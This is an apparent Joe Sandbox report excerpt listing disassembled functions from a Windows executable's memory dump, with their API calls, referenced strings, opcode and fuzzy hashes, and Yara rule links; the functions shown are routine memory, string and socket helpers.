Opcode ID: 4605cc5c122742bf078e2de82160463c2c23cd3f4f401cc025448c3935667395
Instruction ID: b9be2574ef82574a7ba14ceea4bbde81d30d0785858e1a144d8c46f23c6f477f
Opcode Fuzzy Hash: 4605cc5c122742bf078e2de82160463c2c23cd3f4f401cc025448c3935667395
Instruction Fuzzy Hash: 7B115421B0974646E670AB7A658023AE195BF8CBC0F940536DE4D53BB4DE7CE5404B60

Function 00007FF79B73D320 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF79B73D35D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73D36D
WideCharToMultiByte.KERNEL32 ref: 00007FF79B73D39C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73D3A9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ByteCharMultiWide$freemalloc
String ID:
API String ID: 2605342592-0
Opcode ID: 72fc4d6c210c94181f49e1ff445ae12eb0e65c64eb716051aca1f70ff3a1cb6a
Instruction ID: cee6685f9bc390ce7771e4781413ea03fd1f37187198136a6255bbb7c0906f8f
Opcode Fuzzy Hash: 72fc4d6c210c94181f49e1ff445ae12eb0e65c64eb716051aca1f70ff3a1cb6a
Instruction Fuzzy Hash: 02115131B09B45C6E720AF66B94012DB7A1FB88BC0B884139DB4D47B34DF78DA058750

Function 00007FF79B711960 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7119BA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7119DA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7119E3

Strings

Proxy-Connection: Keep-Alive, xrefs: 00007FF79B711970

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Proxy-Connection: Keep-Alive
API String ID: 1294909896-2835282938
Opcode ID: 4326241e5c83e316d87656bb10da1d6c6a2a917d2c9f7d2329a89e3b1e33a2c7
Instruction ID: b1131646efa0eb433d1856992e3f09d7d7219be8de23238e77904cb1a7aa1581
Opcode Fuzzy Hash: 4326241e5c83e316d87656bb10da1d6c6a2a917d2c9f7d2329a89e3b1e33a2c7
Instruction Fuzzy Hash: EE018821B0564582FA25AB69B8403B9A650AF88BF0F844331DEBD0B7F5DF7C95858360

Function 00007FF79B6FB130 Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,?,?,00007FF79B6FB0E2,?,?,?,00000000), ref: 00007FF79B6FB141
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB0E2,?,?,?,00000000), ref: 00007FF79B6FB14A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B6FB0E2,?,?,?,00000000), ref: 00007FF79B6FB154
closesocket.WS2_32 ref: 00007FF79B6FB172

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$CriticalDeleteSectionclosesocket
String ID:
API String ID: 3086658127-0
Opcode ID: 7574a7043eeb4c3d10f9198af3bfb012d035b464662d470d139b8739ea4c5b1f
Instruction ID: 98cc7d0aa8bfd70880bf20da7cb8def950fa1c81e53b97a6df5a4e8c43974eb4
Opcode Fuzzy Hash: 7574a7043eeb4c3d10f9198af3bfb012d035b464662d470d139b8739ea4c5b1f
Instruction Fuzzy Hash: 36017112D18B86C3EB24EF39C8602786321FFEDF28B456322DE6D011B59F78A6D48210

Function 00007FF79B7091CA Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 24stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF79B708FA8), ref: 00007FF79B7090F5
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF79B708FA8), ref: 00007FF79B70910F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B709152

Strings

I32, xrefs: 00007FF79B7090E5
I64, xrefs: 00007FF79B709105

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strncmp
String ID: I32$I64
API String ID: 1114863663-3980630743
Opcode ID: a1a99ecdc33e61d4c3b5d2a4525c545b489d587e5ec690a7bb14a30661bb0460
Instruction ID: 78297e1f47d0e298d4903d19e853a3f603b981e57be4aac9736355200110417e
Opcode Fuzzy Hash: a1a99ecdc33e61d4c3b5d2a4525c545b489d587e5ec690a7bb14a30661bb0460
Instruction Fuzzy Hash: AAF0542171C54741E7216B3DDC58675AAA6AF4EB89F854233CA0D822F4DE6CD304C720

Function 00007FF79B7091D2 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 24stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF79B708FA8), ref: 00007FF79B7090F5
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00007FF79B708FA8), ref: 00007FF79B70910F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B709152

Strings

I32, xrefs: 00007FF79B7090E5
I64, xrefs: 00007FF79B709105

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strncmp
String ID: I32$I64
API String ID: 1114863663-3980630743
Opcode ID: 977122792dad126eb11d31593ba36ecddecab37dcc899c0806810c0336bfc961
Instruction ID: 790830d12fc117b1dc0eca33e45dd30dae354ac4418e1745a08a959336442d95
Opcode Fuzzy Hash: 977122792dad126eb11d31593ba36ecddecab37dcc899c0806810c0336bfc961
Instruction Fuzzy Hash: ECF0541171C54741E7316B3DDC58675AAA6AF4EB89F854233CA1D822F4DE6CD304C720

Function 00007FF79B7311C0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 227COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF79B706576), ref: 00007FF79B7311D4

Strings

%lx, xrefs: 00007FF79B7314BA

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _errno
String ID: %lx
API String ID: 2918714741-1448181948
Opcode ID: e77c4d74624f0f84d320a93ff8c7e4d2a40da779998f9b9338f448f434e8e1ad
Instruction ID: e871f7ff9a8780ecd8371545e68a4d96d78955d6812ac03f2cd3767b0374b270
Opcode Fuzzy Hash: e77c4d74624f0f84d320a93ff8c7e4d2a40da779998f9b9338f448f434e8e1ad
Instruction Fuzzy Hash: DF817B22A0C1D945E7B89B3DB450279BBD0E789780F584337E69E42AF5DE3CC649C720

Function 00007FF79B71CEE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_,?,00000000,00007FF79B71C8C3), ref: 00007FF79B71CFB2
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_,?,00000000,00007FF79B71C8C3), ref: 00007FF79B71D003

Strings

(){ %*], xrefs: 00007FF79B71CEFD

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupmalloc
String ID: (){ %*]
API String ID: 3515966317-731572209
Opcode ID: 828cb0b03bfd1f9835d7e49c80cb9220c802b63348bb1293add8a6644de1a829
Instruction ID: bd19f403479bc942f00d828e3554262a4b2942b55ec084eb3b5208c0d9811e2f
Opcode Fuzzy Hash: 828cb0b03bfd1f9835d7e49c80cb9220c802b63348bb1293add8a6644de1a829
Instruction Fuzzy Hash: 7031071290D69E54FE31DB7C5480379AB859F9EB94FD84332DA8E072F1CE2DAA05C630

Function 00007FF79B708CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B708D10
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B708D6B

Strings

, xrefs: 00007FF79B708D23

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: mallocrealloc
String ID:
API String ID: 948496778-3916222277
Opcode ID: 055651bcd441ae0d6536529a4b8216ef4b70e2bb82d3f8fecfe2edfe384afa3e
Instruction ID: 2b29822ed03a2eb608071b3e29c80e9e247b6fabdb03475a16cb27d146d170da
Opcode Fuzzy Hash: 055651bcd441ae0d6536529a4b8216ef4b70e2bb82d3f8fecfe2edfe384afa3e
Instruction Fuzzy Hash: CC11A27260AB8182DB649F29F440269B3B0FB1CBD4F884637DA5D077A4EF78D590C360

Function 00007FF79B707010 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

getsockopt.WS2_32 ref: 00007FF79B70708F
setsockopt.WS2_32 ref: 00007FF79B7070BE

Strings

@, xrefs: 00007FF79B70701F

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: getsockoptsetsockopt
String ID: @
API String ID: 194641219-2726393805
Opcode ID: 0a02be26702a17fb24d673bc1c7a38ce0ab4c02e4837c5bb589101a8385174c8
Instruction ID: a32cae41d34c6409692a1709e1b31d91718be7022abad4a232cc50dd09d61817
Opcode Fuzzy Hash: 0a02be26702a17fb24d673bc1c7a38ce0ab4c02e4837c5bb589101a8385174c8
Instruction Fuzzy Hash: 55118671A0818A87E730DF29E840675F7B1FB88744F944232DA4907BB5DBBDD648CB10

Function 00007FF79B7054C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B705505
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B70552C

Strings

%I64d-, xrefs: 00007FF79B705517

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfree
String ID: %I64d-
API String ID: 1865132094-19666937
Opcode ID: 13fd4dfe167acea2e1c85cd6c7563738f3543cefa610d704341c827a4b5a28af
Instruction ID: 864429895ddea9c442010353ebfa95c6b35a81dd305f332d4b1edd3dce456269
Opcode Fuzzy Hash: 13fd4dfe167acea2e1c85cd6c7563738f3543cefa610d704341c827a4b5a28af
Instruction Fuzzy Hash: 6111E572A06A86C1EF249F7C98853F853B2EB5CB49F584137C90C4E271DE2C96968330

Function 00007FF79B739AC8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B739ACF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B739EBF

Strings

TRUE, xrefs: 00007FF79B739EC9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfree
String ID: TRUE
API String ID: 1865132094-3412697401
Opcode ID: b9bcba089e7daf5a5108d1bf9e552f43ea53acd441afa2f1c8325fcdf4de783d
Instruction ID: c82e71842e5c7d66847659852181a2664e18a74e7f25bc9e8b703c3a83f92ed8
Opcode Fuzzy Hash: b9bcba089e7daf5a5108d1bf9e552f43ea53acd441afa2f1c8325fcdf4de783d
Instruction Fuzzy Hash: 9501DB63B0965D44EB219B39F4042786762AB487A4FC40533CD0F063B4DE7CD1858320

Function 00007FF79B738DD8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B738DDF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7391F6

Part of subcall function 00007FF79B700240: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B700292

Strings

%s: %s, xrefs: 00007FF79B7391E1

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfreemalloc
String ID: %s: %s
API String ID: 3985033223-1451338302
Opcode ID: c54095af87d9a4b0217f03e264ff0f02705c9544dec9f5f692171f7663123aa3
Instruction ID: 1496f31a0825171731bf650ebdb5d0b31c93871d26ebb299c42b7832fcd5e322
Opcode Fuzzy Hash: c54095af87d9a4b0217f03e264ff0f02705c9544dec9f5f692171f7663123aa3
Instruction Fuzzy Hash: 42F03151A0D68982EA75A72AB8487B592517B49B90FC80233CE5F177769F3CD3899320

Function 00007FF79B73D270 Relevance: 5.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF79B7303A8), ref: 00007FF79B73D2A1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FF79B7303A8), ref: 00007FF79B73D2B4
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF79B7303A8), ref: 00007FF79B73D2DB
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FF79B7303A8), ref: 00007FF79B73D2E8

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ByteCharMultiWide$freemalloc
String ID:
API String ID: 2605342592-0
Opcode ID: f423032592661c1c982721c03790951f0a4f6f553020798a1f396cad00f05043
Instruction ID: 5a190462de315c3c4a24b3be982d5c97913f38922d30587ffb3a453d710467cb
Opcode Fuzzy Hash: f423032592661c1c982721c03790951f0a4f6f553020798a1f396cad00f05043
Instruction Fuzzy Hash: 63117321B0874682E720AB2AF44006AE6A1FF8DBD4F880636DB5D47B78DF3CD5548710

Function 00007FF79B6FBC00 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B6F5730: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B6FFD30,?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B6F1B61), ref: 00007FF79B6F5757
Part of subcall function 00007FF79B6F5730: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B6FFD30,?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B6F1B61), ref: 00007FF79B6F5763

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FBC36
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FBC46
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FBC54
memset.VCRUNTIME140 ref: 00007FF79B6FBC8F

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$memset
String ID:
API String ID: 2717317152-0
Opcode ID: 1e5daedeb21e13145359ccf6cb12b4fe34feceb6b44ae072303525098a0a7efc
Instruction ID: f81fdc34390a731c210879bff0bcc245ffb9485790a66ba2eaa4407f8073d98f
Opcode Fuzzy Hash: 1e5daedeb21e13145359ccf6cb12b4fe34feceb6b44ae072303525098a0a7efc
Instruction Fuzzy Hash: 2C211D32E18B8593E714DB36DA812A8B360F799740F959226EB9C43A21DF74F1F1C300

Function 00007FF79B73AE10 Relevance: 5.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B71CC93), ref: 00007FF79B73DDA6
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B71CC93), ref: 00007FF79B73DDC5
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B71CC93), ref: 00007FF79B73DDDF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B71CC93), ref: 00007FF79B73DDED

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: fb92b5897efe7a973630822f8ea6d2b801e1db37904bea41b264d208a555ce77
Instruction ID: 12f3707e0003e620346252ef3454e0de32c15636c6eab4ec0e7009ca6b0592de
Opcode Fuzzy Hash: fb92b5897efe7a973630822f8ea6d2b801e1db37904bea41b264d208a555ce77
Instruction Fuzzy Hash: 6C11F436A08A4982EB64AF79E49123CB3A4FF98F84F944637CA4D02774CF3CD9548351

Function 00007FF79B722C00 Relevance: 5.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B722C38
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B722C5E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B722C7A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B722C8E

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 05884855c743f8b221a4d544d311eccb84a596cd1ba25f4f1d7d20ea28883d08
Instruction ID: d4a080cc5b3a6e7f2c12144590cb2b73968d88bf6dd5927659d59cdc78969dbf
Opcode Fuzzy Hash: 05884855c743f8b221a4d544d311eccb84a596cd1ba25f4f1d7d20ea28883d08
Instruction Fuzzy Hash: AA11F836614B45C6D7509F69E580268B3A4F788F94F884136DE8E57738CF38E8A9C760

Function 00007FF79B7321E0 Relevance: 5.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B708405,?,?,00000000,00007FF79B7010C1,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B7321F0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B708405,?,?,00000000,00007FF79B7010C1,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B732216
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B708405,?,?,00000000,00007FF79B7010C1,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B732224
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF79B708405,?,?,00000000,00007FF79B7010C1,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B732232

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 49bcb4bd4df464ddd61e42b1f9edd509c5c3826315286159958ab8f391a2e4fd
Instruction ID: 0e2b2ef36a6c7ab7c159538ac3afb75f2c5dbfd56fa48eab4eabab63014fc594
Opcode Fuzzy Hash: 49bcb4bd4df464ddd61e42b1f9edd509c5c3826315286159958ab8f391a2e4fd
Instruction Fuzzy Hash: 71F0B636604B05C2DB149F75E995028B3A4FB98F887914222CA9D42774CF78C5A4C350

